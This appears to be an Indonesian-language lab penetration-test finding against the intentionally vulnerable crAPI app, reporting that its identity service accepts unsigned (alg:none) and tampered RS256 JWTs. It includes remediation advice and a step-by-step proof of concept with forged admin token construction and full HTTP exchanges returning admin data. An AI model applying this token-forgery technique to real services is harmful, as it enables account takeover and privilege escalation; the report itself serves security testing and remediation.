Kembali ke indeks

LAB FAIL

JWT Signature Not Verified - Authentication - JWT Validation

JWT Signature Not Verified — Authentication — JWT Validation

CWE-347: Improper Verification of Cryptographic Signature · OWASP API2:2023 - Broken Authentication

Kerentanan

[FAIL] JWT Signature Not Verified - Authentication - JWT Validation

Deskripsi

Layanan identity crAPI tidak memverifikasi tanda tangan JWT. Token ber-header alg:none tanpa signature diterima, dan token RS256 yang payload-nya diubah tanpa di-resign juga diterima. Penyerang bebas memalsukan token untuk user mana pun dan menaikkan role menjadi admin.

Dampak

Confidentiality: data akun korban dapat dibaca. Integrity: identitas & role (admin) dapat dipalsukan -> account takeover penuh atas seluruh pengguna tanpa kredensial.

CWE

CWE-347: Improper Verification of Cryptographic Signature

OWASP

API2:2023 - Broken Authentication

Skenario

Normal: token sah role=user hanya mengakses data sendiri. Eksploitasi: token palsu (alg:none / RS256 ter-edit) menyamar sebagai ADMIN (sub=[REDACTED-EMAIL], role=admin) -> mengakses akun admin (id=5) -> CIA (Confidentiality + Integrity).

Endpoint

GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (seluruh endpoint identity berbasis JWT)

Fitur terdampak

Autentikasi berbasis JWT (crapi-identity)

Rekomendasi perbaikan

- Verifikasi signature JWT dengan kunci publik RS256 pada tiap request. - Tolak eksplisit alg:none & lakukan algorithm allow-listing (hanya RS256). - Gunakan pustaka JWT matang; validasi exp/iss/aud.

Bukti konsep

  1. (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles dengan token RS256 sah (ditampilkan utuh) -> 200, hanya data milik sendiri.
  2. (Screenshot 2) PROSES alg:none: bongkar token asli, base64url-decode header & payload, ubah alg menjadi 'none' tanpa signature dan payload sub=[REDACTED-EMAIL]/role=admin, lalu susun ulang menjadi token palsu (ditampilkan utuh).
  3. (Screenshot 3) EKSPLOITASI: kirim token alg:none -> 200 mengembalikan akun ADMIN (id=5, ROLE_ADMIN).
  4. (Screenshot 4) PROSES tamper RS256: ambil token RS256 asli, edit payload sub=[REDACTED-EMAIL] & role=admin, pasang kembali signature LAMA tanpa re-sign (token utuh).
  5. (Screenshot 5) DAMPAK CIA: kirim token RS256 tampered -> tetap 200 mengembalikan akun ADMIN -> membuktikan signature tidak diverifikasi (Confidentiality + Integrity).

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

Normal: akses dengan token sendiri yang valid

Normal: penyerang menggunakan token RS256 miliknya yang valid (role=user) untuk mengakses datanya sendiri. Rekaman sumber memuat token lengkap; nilai kredensial disamarkan dalam tampilan HTML ini.

HTTP request
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368

[
  {
    "id": 6,
    "uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
    "pincode": "8392",
    "vin": "861P9NB3CL6ZEA9X1",
    "year": 2026,
    "status": "INACTIVE",
    "previousOwners": [],
    "model": {
      "id": 4,
      "model": "5 Series",
      "fuel_type": "PETROL",
      "vehicle_img": "images/bmw-5.jpg",
      "vehiclecompany": {
        "id": 4,
        "name": "BMW"
      }
    },
    "vehicleLocation": {
      "id": 4,
      "latitude": "38.206348",
      "longitude": "-84.270172"
    },
    "owner": null
  }
]
Normal: akses dengan token sendiri yang valid

Bongkar JWT asli -> ubah alg:none & sub=admin, role=admin -> susun ulang token palsu (utuh)

PROSES: buat token alg:none

Header memakai alg:none sehingga tidak perlu signature. Payload diubah untuk MENYAMAR sebagai admin (sub=[REDACTED-EMAIL], role=admin).

Detail proses
== 1. Token asli hasil login (format: header.payload.signature) ==
[REDACTED-LAB-TOKEN]

== 2. Base64URL-decode tiap bagian ==
header  = eyJhbGciOiJSUzI1NiJ9
        -> {"alg": "RS256"}
payload = [REDACTED-LAB-TOKEN]
        -> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

== 3. Susun token PALSU: alg diganti 'none' (tanpa signature), sub->[REDACTED-EMAIL], role->admin ==
header baru  = base64url({"alg": "none", "typ": "JWT"})
             = eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
             = [REDACTED-LAB-TOKEN]
signature    = (KOSONG)

== 4. Token PALSU hasil akhir (utuh, tidak dipotong) ==
[REDACTED-LAB-TOKEN]
PROSES: buat token alg:none

Hasil: token tanpa signature diterima sebagai admin

Hasil: server menerima token alg:none tanpa signature dan mengembalikan akun admin (id=5, ROLE_ADMIN). Rekaman ini mencatat keberhasilan menyamar sepenuhnya sebagai admin. Sumber memuat token lengkap di header; nilai kredensial disamarkan dalam tampilan HTML ini.

HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}
Hasil: token tanpa signature diterima sebagai admin

Ubah klaim RS256 ke sub=admin dan role=admin; pertahankan signature asli yang kini tidak valid

Persiapan: ubah payload, pertahankan signature

Persiapan: ubah payload RS256, tetapi pertahankan signature asli. Signature tidak lagi cocok dengan payload sehingga token seharusnya ditolak, tetapi crAPI tetap menerimanya.

Detail proses
== 1. Token RS256 asli (signature valid) ==
[REDACTED-LAB-TOKEN]

== 2. Decode payload ==
{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

== 3. Ubah payload (role user->admin, sub->[REDACTED-EMAIL]). Header & signature TIDAK diubah ==
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
             = [REDACTED-LAB-TOKEN]
header       = eyJhbGciOiJSUzI1NiJ9   (tetap, alg RS256)
signature    = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g   (signature LAMA, TIDAK di-resign)

== 4. Token hasil (header.payload_baru.signature_lama) -- signature tak cocok dgn payload (utuh) ==
[REDACTED-LAB-TOKEN]
Persiapan: ubah payload, pertahankan signature

Dampak: token RS256 yang diubah tetap diterima

Dampak: token dengan signature yang tidak cocok tetap mendapat response 200. Data akun admin terbaca sehingga kerahasiaan terdampak; pemalsuan identitas dan role admin berdampak pada integritas. Server tidak memverifikasi signature.

HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}
Dampak: token RS256 yang diubah tetap diterima

← Kasus sebelumnya: Improper Inventory Management - Authentication - OTP Endpoint Versions Kasus berikutnya: Mass Assignment - Authentication - User Registration →